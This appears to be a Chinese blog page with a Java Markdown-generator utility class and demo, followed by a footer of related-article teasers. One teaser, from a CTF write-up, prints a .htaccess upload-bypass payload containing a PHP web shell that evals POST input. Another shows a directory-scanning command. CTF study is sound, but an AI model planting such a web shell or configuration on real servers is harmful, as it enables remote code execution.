1. Java-MarkDown文件创建-工具类

Java-MarkDown文件创建-工具类

1. 思路

根据markdown语法,拼装markdown文本内容

2. 工具类


import java.util.Arrays;
import java.util.List;

/**
 * Markdown生成工具类
 * @Author: 20004855
 * @Date: 2021/1/15 16:00
 */
public class MarkdownGenerator {

    private StringBuilder content;

    public MarkdownGenerator() {
        this.content = new StringBuilder();
    }

    private String repeatChar(int count, char ch) {
        StringBuilder sb = new StringBuilder(count);
        for (int i = 0; i < count; i++) {
            sb.append(ch);
        }
        return sb.toString();
    }

    /**
     * 添加标题
     *
     * @param level 标题级别(1-6)
     * @param text  标题文本
     */
    public void addHeader(int level, String text) {
        if (level < 1 || level > 6) {
            throw new IllegalArgumentException("标题级别必须在1-6之间");
        }
        content.append("\n").append(repeatChar(level, '#')).append(" ").append(text).append("\n\n");
    }

    /**
     * 添加段落文本
     *
     * @param text 段落文本
     */
    public void addParagraph(String text) {
        content.append(text).append("\n\n");
    }

    /**
     * 添加代码块
     *
     * @param code     代码内容
     * @param language 语言类型
     */
    public void addCodeBlock(String code, String language) {
        content.append("```").append(language).append("\n")
                .append(code)
                .append("\n```\n\n");
    }

    /**
     * 添加表格
     *
     * @param headers 表头
     * @param rows    数据行
     */
    public void addTable(List<String> headers, List<List<String>> rows, String... alignment) {
        // 添加表头
        content.append("|");
        headers.forEach(header -> content.append(" ").append(header).append(" |"));
        content.append("\n|");

        // 添加对齐标记
        String alignMark = ":-";
        if (alignment.length > 0) {
            String align = alignment[0].toLowerCase();
            if ("center".equals(align)) {
                alignMark = ":-:";
            } else if ("right".equals(align)) {
                alignMark = "-:";
            }
        }

        // 添加分隔行
        String finalAlignMark = alignMark;
        headers.forEach(header ->
                content.append(" ")
                        .append(finalAlignMark)
                        .append(" |"));
        content.append("\n");

        // 添加数据行
        for (List<String> row : rows) {
            content.append("|");
            row.forEach(cell -> content.append(" ").append(cell).append(" |"));
            content.append("\n");
        }
        content.append("\n");
    }

    /**
     * 添加列表
     *
     * @param items   列表项
     * @param ordered 是否为有序列表
     */
    public void addList(List<String> items, boolean ordered) {
        content.append("\n");
        for (int i = 0; i < items.size(); i++) {
            if (ordered) {
                content.append(i + 1).append(". ");
            } else {
                content.append("- ");
            }
            content.append(items.get(i)).append("\n");
        }
        content.append("\n");
    }

    /**
     * 添加加粗文本
     *
     * @param text 文本内容
     */
    public void bold(String text) {
        content.append("**").append(text).append("**");
        content.append("\n");
    }

    /**
     * 添加斜体文本
     *
     * @param text 文本内容
     */
    public void italic(String text) {
        content.append("*").append(text).append("*");
        content.append("\n");
    }

    /**
     * 添加链接
     *
     * @param text 链接文本
     * @param url  链接地址
     */
    public void addLink(String text, String url) {
        content.append("[").append(text).append("](").append(url).append(")\n\n");
    }

    /**
     * 添加图片
     *
     * @param altText  替代文本
     * @param imageUrl 图片地址
     */
    public void addImage(String altText, String imageUrl) {
        content.append("![").append(altText).append("](").append(imageUrl).append(")\n\n");
    }

    /**
     * 添加引用块
     *
     * @param text 引用文本
     */
    public void addQuote(String text) {
        content.append("> ").append(text).append("\n\n");
    }

    /**
     * 添加分隔线
     */
    public void addHorizontalRule() {
        content.append("---\n\n");
    }


    /**
     * 获取生成的Markdown内容
     */
    public String getContent() {
        return content.toString();
    }


    public static void main(String[] args) {
        try {
            MarkdownGenerator md = new MarkdownGenerator();

            // 添加标题
            md.addHeader(1, "项目文档");

            // 添加段落
            md.addParagraph("这是一个示例文档,用于展示Markdown生成器的功能。");

            // 添加代码块
            md.addCodeBlock("System.out.println(\"Hello World!\");", "java");

            // 添加表格
            List<String> headers = Arrays.asList("名称", "类型", "说明");
            List<List<String>> rows = Arrays.asList(
                    Arrays.asList("id", "Integer", "主键"),
                    Arrays.asList("name", "String", "名称"),
                    Arrays.asList("status", "Boolean", "状态")
            );
            md.addTable(headers, rows);

            // 添加列表
            List<String> items = Arrays.asList("项目1", "项目2", "项目3");
            md.addList(items, true);  // 有序列表

            // 添加链接
            md.addLink("访问GitHub", "https://github.com");

            // 添加图片
            md.addImage("示例图片", "path/to/image.png");

            // 添加引用
            md.addQuote("这是一段引用文本");

            // 添加分隔线
            md.addHorizontalRule();

            String content = md.getContent();
            System.out.println("===========");
            System.out.println(content);
            System.out.println("===========");

            // 在Web应用中下载
            // md.downloadMarkdown(response, "example.md");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

3. 测试

image-20250126155709687

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/960838.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

虚拟机中的IP地址总是变化怎么办

1、问题概述&#xff1f; 在虚拟机中安装的centos或者redhat&#xff0c;默认情况下使用的都是dbcp模式&#xff0c;会自动的获取ip地址。 每次重启虚拟机后&#xff0c;可能都会使用不同的ip地址。 如何需要使用固定ip&#xff0c;就需要手动修改。 本文测试系统RedHat7.9…

物业管理系统推动社区智能化与服务创新的未来发展路径

内容概要 随着物业管理行业的不断发展&#xff0c;物业管理系统也逐渐成为社区管理的重要组成部分。它不仅能够显著提高服务效率&#xff0c;还带来了很多创新的服务模式&#xff0c;这些都让生活变得更加便利。首先&#xff0c;物业管理系统通过在线收费功能&#xff0c;可以…

AI如何帮助解决生活中的琐碎难题?

引言&#xff1a;AI已经融入我们的日常生活 你有没有遇到过这样的情况——早上匆忙出门却忘了带钥匙&#xff0c;到了公司才想起昨天的会议资料没有打印&#xff0c;或者下班回家还在纠结晚饭吃什么&#xff1f;这些看似微不足道的小事&#xff0c;往往让人疲惫不堪。而如今&a…

QT+mysql+python 效果:

# This Python file uses the following encoding: utf-8 import sysfrom PySide6.QtWidgets import QApplication, QWidget,QMessageBox from PySide6.QtGui import QStandardItemModel, QStandardItem # 导入需要的类# Important: # 你需要通过以下指令把 form.ui转为ui…

基于RIP的MGRE实验

实验拓扑 实验要求 按照图示配置IP地址配置静态路由协议&#xff0c;搞通公网配置MGRE VPNNHRP的配置配置RIP路由协议来传递两端私网路由测试全网通 实验配置 1、配置IP地址 [R1]int g0/0/0 [R1-GigabitEthernet0/0/0]ip add 15.0.0.1 24 [R1]int LoopBack 0 [R1-LoopBack0]i…

Python微服务框架Nameko | python 小知识

Python微服务框架Nameko | python 小知识 1. 微服务介绍 微服务架构是一种将应用程序拆分为多个小型服务的方法&#xff0c;每个服务都可以独立开发、部署和扩展。这种架构使得应用程序更加模块化、可维护和可扩展。微服务架构的核心在于服务间的通信&#xff0c;主要有同步通…

多模态论文笔记——TECO

大家好&#xff0c;这里是好评笔记&#xff0c;公主号&#xff1a;Goodnote&#xff0c;专栏文章私信限时Free。本文详细解读多模态论文TECO&#xff08;Temporally Consistent Transformer&#xff09;&#xff0c;即时间一致变换器&#xff0c;是一种用于视频生成的创新模型&…

98.1 AI量化开发:长文本AI金融智能体(Qwen-Long)对金融研报大批量处理与智能分析的实战应用

目录 0. 承前1. 简介1.1 通义千问(Qwen-Long)的长文本处理能力 2. 基础功能实现2.1 文件上传2.2 单文件分析2.3 多文件分析 3. 汇总代码&运行3.1 封装的工具函数3.2 主要功能特点3.3 使用示例3.4 首次运行3.5 运行结果展示 4. 注意事项4.1 文件要求4.2 错误处理机制4.3 最佳…

[ACTF2020 新生赛]BackupFile1

题目 翻译&#xff0c;尝试找出源文件&#xff01; 扫目录使用参数-e * python dirsearch.py -u http://0c3b21c0-d360-4baa-8b97-aa244f4c4825.node5.buuoj.cn:81/ -e * 最终扫描到一个文件名为&#xff1a;/index.php.bak的文件&#xff0c;把备份文件下载下来 源码 <?…

[JMCTF 2021]UploadHub

题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …

Flink运行时架构

一、系统架构 1&#xff09;作业管理器&#xff08;JobManager&#xff09; JobManager是一个Flink集群中任务管理和调度的核心&#xff0c;是控制应用执行的主进程。也就是说&#xff0c;每个应用都应该被唯一的JobManager所控制执行。 JobManger又包含3个不同的组件。 &am…

高可用集群故障之join

本文记录了在部署高可用的k8s集群时&#xff0c;遇到的一个故障及其解决方法。 集群环境 描述&#xff1a;三主三从&#xff0c;eth0为外网网卡&#xff0c;eth1为内网网卡&#xff0c;内网互通。 需求&#xff1a;eth0只负责访问外网&#xff0c;eth1作为集群间的通信。 主…

MySQL的复制

一、概述 1.复制解决的问题是让一台服务器的数据与其他服务器保持同步&#xff0c;即主库的数据可以同步到多台备库上&#xff0c;备库也可以配置成另外一台服务器的主库。这种操作一般不会增加主库的开销&#xff0c;主要是启用二进制日志带来的开销。 2.两种复制方式&#xf…

STM32新建不同工程的方式

新建工程的方式 1. 安装开发工具 MDK5 / keil52. CMSIS 标准3. 新建工程3.1 寄存器版工程3.2 标准库版工程3.3 HAL/LL库版工程3.4 HAL库、LL库、标准库和寄存器对比3.5 库开发和寄存器的关系 4. STM32CubeMX工具的作用 1. 安装开发工具 MDK5 / keil5 MDK5 由两个部分组成&#…

「数学::质数」分解质因子 / LeetCode 2521(C++)

概述 由算数基本定理&#xff0c;我们知道任意一个大于1的自然数可以表示为一些质数的乘积&#xff1a; LeetCode 2521&#xff1a; 给你一个正整数数组 nums &#xff0c;对 nums 所有元素求积之后&#xff0c;找出并返回乘积中 不同质因数 的数目。 注意&#xff1a; 质数 是…

CAN波特率匹配

STM32 LinuxIMX6ull&#xff08;Linux&#xff09;基于can-utils测试

【开源免费】基于SpringBoot+Vue.JS在线考试学习交流网页平台(JAVA毕业设计)

本文项目编号 T 158 &#xff0c;文末自助获取源码 \color{red}{T158&#xff0c;文末自助获取源码} T158&#xff0c;文末自助获取源码 目录 一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程 四、功能截图五、文案资料5.1 选题背景5.2 国内…

【GESP】2024 C++ 一级编程题解析及测试信息下载

文章目录 一、前言二、问题问题&#xff1a;[GESP202403 一级] 小杨买书问题&#xff1a;[GESP202403 一级] 找因数问题&#xff1a; [GESP202406 一级] 休息时间问题&#xff1a;[GESP202406 一级] 立方数问题&#xff1a;[GESP202409 一级] 小杨购物问题&#xff1a;[GESP202…

可扩展架构:如何打造一个善变的柔性系统?

系统的构成:模块 + 关系 我们天天和系统打交道,但你有没想过系统到底是什么?在我看来,系统内部是有明确结构 的,它可以简化表达为: 系统 = 模块 + 关系 在这里,模块是系统的基本组成部分,它泛指子系统、应用、服务或功能模块。关系指模块 之间的依赖关系,简单…

蓝桥杯练习日常|递归-进制转换

蓝桥云课760数的计算 一、递归 题目&#xff1a; 我的解题代码&#xff1a; #include <iostream> using namespace std; int sum0; int main() {// 请在此输入您的代码int n;cin>>n;int fun(int n);fun(n); cout<<sum<<\n;return 0; } // void fu…